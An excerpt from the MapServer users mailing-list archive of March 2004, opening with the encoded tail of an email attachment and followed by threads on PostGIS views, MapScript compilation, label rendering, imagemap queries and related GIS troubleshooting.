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 ------=_NextPart_000_0000_00001427.00007129-- From dg@mapmedia.de Tue Mar 2 10:33:04 2004 From: dg@mapmedia.de (Dirk Geschwandtner) Date: Tue, 02 Mar 2004 11:33:04 +0100 Subject: [Mapserver-users] MapServer and postgis using views Message-ID: <6.0.0.22.0.20040302113240.046158c8@localhost> At 07:56 02.03.2004, you wrote: >Browsing is fine. Queries, however, result in an empty html message output. > >When I do not work with a view but read directly from the table with the >mapfile entry > >DATA "pgpoly from axflst" > >the query seems fine. > >Did I miss something in dealing with views? Hello Hubert, have you inserted the geometry column of the view into the geometry_columns table? To perform queries on the view you have to insert a line containing the db name, the name of the view, the name of the geometry column, the dimension of the column, an srid and the geometry type of the column in the view. Hope this helps, Dirk From hubert.froehlich@bvv.bayern.de Tue Mar 2 12:01:41 2004 From: hubert.froehlich@bvv.bayern.de (=?ISO-8859-1?Q?Hubert_Fr=F6hlich?=) Date: Tue, 02 Mar 2004 13:01:41 +0100 Subject: [Mapserver-users] MapServer and postgis using views In-Reply-To: <6.0.0.22.0.20040302113240.046158c8@localhost> References: <6.0.0.22.0.20040302113240.046158c8@localhost> Message-ID: <404477A5.7040702@bvv.bayern.de> Dirk Geschwandtner wrote: > At 07:56 02.03.2004, you wrote: > >> Browsing is fine. Queries, however, result in an empty html message >> output. >> >> When I do not work with a view but read directly from the table with >> the mapfile entry >> >> DATA "pgpoly from axflst" >> >> the query seems fine. >> >> Did I miss something in dealing with views? > > > Hello Hubert, > have you inserted the geometry column of the view into the > geometry_columns table? > > To perform queries on the view you have to insert a line containing the > db name, the name > of the view, the name of the geometry column, the dimension of the > column, an srid and the geometry > type of the column in the view. > Well, I tried out something like insert into geometry_columns(f_table_catalog, f_table_schema, f_table_name, f_geometry_column, coord_dimension, srid, type) values('','public','v_axflst_geom','pgpoly',2, '31494','MULTIPOLYGON'); which had neither positive nor negative effect. ( I left out the attributes "attrelid" and "varattnum" of "geometry_columns" as I did not know how to set them. attrelid seems to be the value of the attribute "relfilenode" from pg_class. ) I would like to point out that this means that MapServer obviously tried to compose a message similarly to a query error etc., but the html body remains empty. Moreover, I worked with DEBUG=of, but there is no hint in the error log. PS. I am working with MapServer 4.0.1, PostgreSQL 7.4.1 and Postgis 0.8 with GEOS 1.0.0 on board -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fröhlich Bezirksfinanzdirektion München Alexandrastr. 3, D-80538 München, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2997 hubert dot froehlich at bvv dot bayern dot de From cpurvis@asg.sc.edu Tue Mar 2 13:02:51 2004 From: cpurvis@asg.sc.edu (Charlton Purvis) Date: Tue, 2 Mar 2004 08:02:51 -0500 Subject: [Mapserver-users] Mouse Over Message-ID: OK. Thanks, Steve. I've got a litlle of both working in my favor: dashing a bit of CGI + a wallop of PHP for the final image + imagemap product. It's working well. But I've got another question that might start to bug me if it turns out to be true. Let's take your example of Minn. and the county names. (Consider using SC data and counties -- we've got great backwards county names.) How many passes is that making through the data? 2? 1 for the image + 1 for the imagemap? Does any kind of caching go on behind the scenes for that 2nd request if there is one? I'm not too worried about it right now since I know that the database is caching my 1st request (if there is a 2nd). But I'm about to unload a bucket load of raster data into the mix of shapefiles in the db, and I know that the system ain't caching squat for those (perhaps some OS-level file caching but that's it) -- tiling, yes, but caching, no? If it is making 2 requests, is there a way I the code could be made more parallel? I.e. one pass produces two or an arbitrary # of outputs. I have negative interest in coding it myself at this point -- I'm more curious than anything. But I think there would be great value in that. At least I know from my own experience on a given screen, the same source data is being shown in about 3 different ways at a given time. So why traverse it more than once? Thanks, Charlton -----Original Message----- From: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Sent: Mon 3/1/2004 6:47 PM To: Charlton Purvis; pucher@atlas.gis.univie.ac.at; Michael.Smith@erdc.usace.army.mil; mapserver-users@lists.gis.umn.edu; bartvde@xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. From cpurvis@asg.sc.edu Tue Mar 2 13:20:42 2004 From: cpurvis@asg.sc.edu (Charlton Purvis) Date: Tue, 2 Mar 2004 08:20:42 -0500 Subject: [Mapserver-users] Mouse Over Message-ID: Well, maybe I can answer part of my question. At least w/ mapscript, everything's bundled into a mapObj, right? So we've already hit the database or whatever and run our queries to produce this object. So if we want a picture, we have to draw something based on this mapObj. If we want a querymap, we have to draw that based on the mapObj. Am I correct in thinking that it is the mapObj that is traversed multiple times to produce multiple outputs? I guess there's no way of getting around that, but it is certainly a heck of a lot better than my original assumption which was that the data sources were being pinged each time. -----Original Message----- From: Charlton Purvis Sent: Tue 3/2/2004 8:02 AM To: Steve Lime; pucher@atlas.gis.univie.ac.at; Michael.Smith@erdc.usace.army.mil; mapserver-users@lists.gis.umn.edu; bartvde@xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over OK. Thanks, Steve. I've got a litlle of both working in my favor: dashing a bit of CGI + a wallop of PHP for the final image + imagemap product. It's working well. But I've got another question that might start to bug me if it turns out to be true. Let's take your example of Minn. and the county names. (Consider using SC data and counties -- we've got great backwards county names.) How many passes is that making through the data? 2? 1 for the image + 1 for the imagemap? Does any kind of caching go on behind the scenes for that 2nd request if there is one? I'm not too worried about it right now since I know that the database is caching my 1st request (if there is a 2nd). But I'm about to unload a bucket load of raster data into the mix of shapefiles in the db, and I know that the system ain't caching squat for those (perhaps some OS-level file caching but that's it) -- tiling, yes, but caching, no? If it is making 2 requests, is there a way I the code could be made more parallel? I.e. one pass produces two or an arbitrary # of outputs. I have negative interest in coding it myself at this point -- I'm more curious than anything. But I think there would be great value in that. At least I know from my own experience on a given screen, the same source data is being shown in about 3 different ways at a given time. So why traverse it more than once? Thanks, Charlton -----Original Message----- From: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Sent: Mon 3/1/2004 6:47 PM To: Charlton Purvis; pucher@atlas.gis.univie.ac.at; Michael.Smith@erdc.usace.army.mil; mapserver-users@lists.gis.umn.edu; bartvde@xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rryda@mgedata.cz Tue Mar 2 14:04:30 2004 From: rryda@mgedata.cz (Richard Ryda) Date: Tue, 2 Mar 2004 15:04:30 +0100 Subject: [Mapserver-users] Premature end of script headers: php Message-ID: <007301c4005f$48dc3260$3201a8c0@rryda> I am trying to compile Mapscript 4.0.1 on Red Hat 7.3. Here is my compile script: cd /usr/src/mapserver-4.0.1 rm -f config.cache make clean ./configure \ --without-tiff \ --without-eppl \ --without-pdf \ --without-ming \ --without-wmsclient \ --without-wfs \ --without-wfsclient \ --without-proj \ --with-threads \ --with-gdal=/usr/local/bin/gdal-config \ --with-ogr \ --with-gd=/usr \ --with-png=/usr/local \ --with-php=/usr/src/php-4.3.4 \ --enable-runpath make My PHP script crashes at this code: $ms_omap = ms_newmapobj($ms_mapfile); $ms_layers_count = $ms_omap -> numlayers; for ($i = 0; $i < $ms_layers_count; $i++) { $ms_layer = $ms_omap -> getlayer($i); ...... } It crashes when $i = 1. $i = 0 returns the first layer succesfully. Apache returns Internal Server Error 500 with the following message in the log: "Premature end of script headers: php" Thanks for any idea. Richard From Ballini.Yvain@seat.it Tue Mar 2 14:27:02 2004 From: Ballini.Yvain@seat.it (Ballini Yvain) Date: Tue, 2 Mar 2004 15:27:02 +0100 Subject: [Mapserver-users] R: R: I: R: Aesthetics with label Message-ID: <4B1A1EC0790F054193453C48725D431829F844@MSGBE1V1.seat.it> Yes, I'm using antialiasing but the distortion of the characters remains the same. Of course, it isn't a high priority but I'm quite surprised that nobody has let some message on the mailing list about it. Indeed, this is a limit that can become important for cartografic applications in which some performant labelling is requested. Thanks a lot. Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Inviato: giovedì 26 febbraio 2004 1.01 A: Ballini Yvain Oggetto: Re: R: I: R: Mathematical model applied to the option ANGLEAUTO Aesthetics just aren't a high priority to many folks. It was better with Freetype 1 but the GD folks decided to drop that support and we followed suit. Are you using antialiasing? Steve >>> "Ballini Yvain" 02/24/04 1:45 AM >>> Using some other font, indeed the situation changes but it remains a little distorted. I'm actually using gd-2.0-15 and freetype-2.1.3 with mapserver 4.0 on Windows XP...but if it's due to the version, I don't understand why nobody has noticed it in the last months. Thanks again. Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Inviato: lunedì 23 febbraio 2004 21.26 A: Ballini Yvain Oggetto: Re: I: R: Mathematical model applied to the option ANGLE AUTO I guess I suggest trying a couple of things to troubleshoot this: - try another font, does the problem persist - make sure you are using the most recent versions of GD and Freetype Steve >>> "Ballini Yvain" 2/23/2004 11:33:00 AM >>> Well, trying to fix an angle value for all the labels, I see that the problem of distortion remains, that shows that it isn't due to the option ANGLE AUTO (see Milano2.png). -----Messaggio originale----- Da: Ballini Yvain Inviato: lunedì 23 febbraio 2004 18.17 A: 'steve.lime@dnr.state.mn.us' Oggetto: I: R: Mathematical model applied to the option ANGLE AUTO I'm looking at the file mapprimitive.c but I am not sure it is there that the angle is computed in my case. In the unction bufferPolyline of mapprimitive.c, it seems like you said that only one value is calculated for all the points of the feature. How could you explain the "distorted" characters, that I get using this value? Thanks again. Yvain. -----Messaggio originale----- Da: Ballini Yvain Inviato: lunedì 23 febbraio 2004 17.49 A: 'Steve Lime' Oggetto: R: R: Mathematical model applied to the option ANGLE AUTO Of course, Here I send tou "Milano.png" which I'm getting with my application. The distorsion is light but there is a distorsion for the labels of the streets (see for example "via F. Pecorari" under, or "via S. Paolo" above): not all the characters are aligned and that's not beautiful. If I fix a value for the angle, it doesn't give this problem but it doesn't follow of course the street'direction. Are you sure that only 1 angle value is computered for each label feature? If yes, the problem would be due to a small change of the position value...? Thanks ! Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Inviato: lunedì 23 febbraio 2004 17.40 A: Ballini Yvain Oggetto: Re: R: Mathematical model applied to the option ANGLE AUTO That's how it works now though, only 1 angle is computed. I suspect problems either with Freetype/GD or perhaps with the font you are using. Do you have a screen shot showing the distortion? Steve >>> "Ballini Yvain" 2/23/2004 10:38:23 AM >>> Thanks for the answer. I make this question because with my application, the angle which is given using the option ANGLE AUTO is ok, but it seems to recalculated for all the characters of the label (it gives me some distorted label when I'm applying it to a street layer). I would like to have only one angle value for each label feature, which would correspond to the average angle of the current segment of the street. I dont't know if I'm clear with my english...! :) Bye. Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Inviato: lunedì 23 febbraio 2004 17.32 A: Ballini Yvain Oggetto: Re: Mathematical model applied to the option ANGLE AUTO Hi there: I guess I'm confused by your email. The angle is computed on a label-by-label basis (i.e. for all characters) already. The code is in mapprimitive.c... Steve >>> "Ballini Yvain" 2/23/2004 8:29:43 AM >>> Hi Steve, I've seen that you are a kind of "guru" of mapserver. I would like to modify something about the mathematical model applied to the option ANGLE AUTO for the labels in mapserver 4.0. I would like to do the calculation of the angle only once for each label and not for all character like it semms to be made in the current version. Could you indicate me where I should look for this part in the source? Thanks a lot. Best reagrs. Yvain Ballini. From mservin@tecnoaccion.com.ar Tue Mar 2 15:22:19 2004 From: mservin@tecnoaccion.com.ar (Mario Servin) Date: Tue, 2 Mar 2004 12:22:19 -0300 Subject: [Mapserver-users] Searching for crossing streets Message-ID: <00a101c4006a$27a11ce0$7205a8c0@mariolaptop> Hi, I did the following CGI query for getting the closest street near the click of the mouse: http://mariolaptop/MYPages/Scripts/mapserv_41.exe?mode=nquery&itemquery=[NAME]&layer=calles&imgxy=10+10&mapext=shape&imgext=-71.899651+-41.582889+-71.086875+-40.770450&map=c%3A%2FDocuments+and+Settings%2Fmario%2FMyPages%2Fitasca%2Fquery.map&savequery=true&img.x=452&img.y=265&map_calles_tolerance=10 I use a query.map and a query .html that follows: query.html: Calle: [ID] Nombre:[NAME]
query.map: # # Start of map file # NAME DEMO STATUS ON SIZE 600 600 EXTENT -71.89965056 -41.36073059 -71.08687515 -40.99260904 UNITS DD SHAPEPATH "Bariloche" IMAGECOLOR 255 255 255 # you may need to change this to match your MapServer build IMAGETYPE PNG # # Start of layer definitions # #Bariloche LAYER NAME calles GROUP Calles TYPE LINE DATA Calles STATUS OFF TOLERANCE 1 TOLERANCEUNITS meters CLASS TEMPLATE query.html END END END # Map File As you can see I modify the TOLERANCE attribute of my layer 'calles' (streets in spanish) to get the minimum number of streets near my location. I want to use this for finding two crossing streets near me. The process will follow like this: wiht a minimum TOLERANCE value (10 meters as an example ) I found a street. Then I should increment the TOLERANCE and requery to mapserver. Here's my problem. I need to use the previous result to filter the new ones as again I will get the same street (among others). This time I need the nearest street EXCEPT the found in the previous query. I did set the SAVEQUERY=true but I do not know how to use it. Can anybody help me?. Regards Mario From flavio@tydac.ch Tue Mar 2 17:13:13 2004 From: flavio@tydac.ch (Flavio Hendry) Date: Tue, 02 Mar 2004 18:13:13 +0100 Subject: [Mapserver-users] Researching the Capabilities of MapServer In-Reply-To: <7CDD7B94357FD5119E800002A537C46E0B8B7321@s5-ccr-r1.ccrs.nrcan.gc.ca> References: <7CDD7B94357FD5119E800002A537C46E0B8B7321@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: Hi Jean François > The buffer you're pretty much going to NEED a Java applet, as I've > never heard of any way to draw circles in a browser ... no problem doing that with javascript too, somehow the same way we did the distance thing (which we gave to Dan and is the one used in chameleon ...) ... on slow machines it is a bit slow however ... (we have as well polygon select, rectangle select and so on ...). and for the statistis stuff, that might be worth a look (using OWT chart quite a bit)- in french for you! :-) ... http://www.ch03.ch/fr/geopolitics/abstimmungen/abstimmungen.php We did as well an application for the swiss department of statistcs, doing all the selection stuff above in connection with OWT chart too, however it's internal only and we are not allowed to publish details yet. Mit freundlichem Gruss / Best Regards Flavio Hendry ---------------------------------------------------------------- TYDAC NEWS http://www.tydac.ch/german/index.php?menu=News_actual ---------------------------------------------------------------- ############      Mit freundlichen Gruessen / Kind Regards ############             mailto:flavio@tydac.ch ############         TYDAC AG - http://www.tydac.ch ####    ####        Geographic Information Solutions ####    ####         Luternauweg 12 -- CH-3006 Bern ############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860 ---------------------------------------------------------------- From tsidel@icesat2.gsfc.nasa.gov Tue Mar 2 17:47:04 2004 From: tsidel@icesat2.gsfc.nasa.gov (Zipora Sidel) Date: Tue, 02 Mar 2004 12:47:04 -0500 Subject: [Mapserver-users] Displaying an Elevation Profile Message-ID: <4044C898.2060900@icesat2.gsfc.nasa.gov> Hi, I am new to the MapServer and quite overwhelmed from all the options available to the user. However, it is not clear to me if I can use the software for my application. My data is a grid file (latitude, longitude, elevation). I would like to display the map on the web and by clicking the mouse in two points, be able to display the elevation profile between those two points. Any help will be appreciated. Tzipi . -- -------------------------------------------------------------- Tzipi Sidel NASA Chief Programmer/Analyst Goddard Space Flight Center Altimeter Data Analysis Mail Stop 971 and Processing Greenbelt, MD 20771 Raytheon ITSS Phone: (301) 614-5891 FAX: (301) 614-5644 email: zipora.sidel@gsfc.nasa.gov -------------------------------------------------------------- From mountainduo@mho.com Tue Mar 2 17:53:49 2004 From: mountainduo@mho.com (mountainduo@mho.com) Date: Tue, 2 Mar 2004 10:53:49 -0700 (MST) Subject: [Mapserver-users] Mapserver compiled and source download In-Reply-To: <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> References: <1423.64.58.31.38.1078007010.squirrel@a.mail.mho.net> <20040229025428.19294.qmail@hm47.locaweb.com.br> <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> Message-ID: <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> I guess what i hoped to get is a download file that had the source and also the compiled objects so then i can create a windows dll so i can use java. i get the mapscript_wrap.c to compile but then when i try to link the compiled object i get a lot of undifined references to mapserver functions. This is where i need the compiled mapserver library files so i can link and create my dll. I had thought i had seen somewhere that there was a mapserver.lib file but i could be wrong. can you post this zip file? thanks a lot > >> mapserver.lib ??? >> >> I never saw it before! please be sure the filename u want. >> >> best. >> >> Eduardo Patto Kanegae >> http://www.consultoria.eti.br >> >> ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >> *************************************** >> ***Fim da Mensagem / End of Message *** >> *************************************** >> >> >> >> >> >> On Sat, 28 Feb 2004 15:23:30 -0700 (MST), >> escreveu: >> >>> De: >>> Data: Sat, 28 Feb 2004 15:23:30 -0700 (MST) >>> Para: >>> Assunto: Re: [Mapserver-users] Mapserver compiled and source download >>> >>> Thank you for your reply. I have downloaded a few of the files but >>> still can't find the mapserver.lib file. Can you tell me which file i >>> should download? >>> >>> thanks again, >>> will >>> >>> > http://www2.dmsolutions.ca/webtools/dl/ >>> > >>> > Eduardo Patto Kanegae >>> > http://www.consultoria.eti.br >>> > >>> > ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>> *************************************** >>> > ***Fim da Mensagem / End of Message *** >>> > 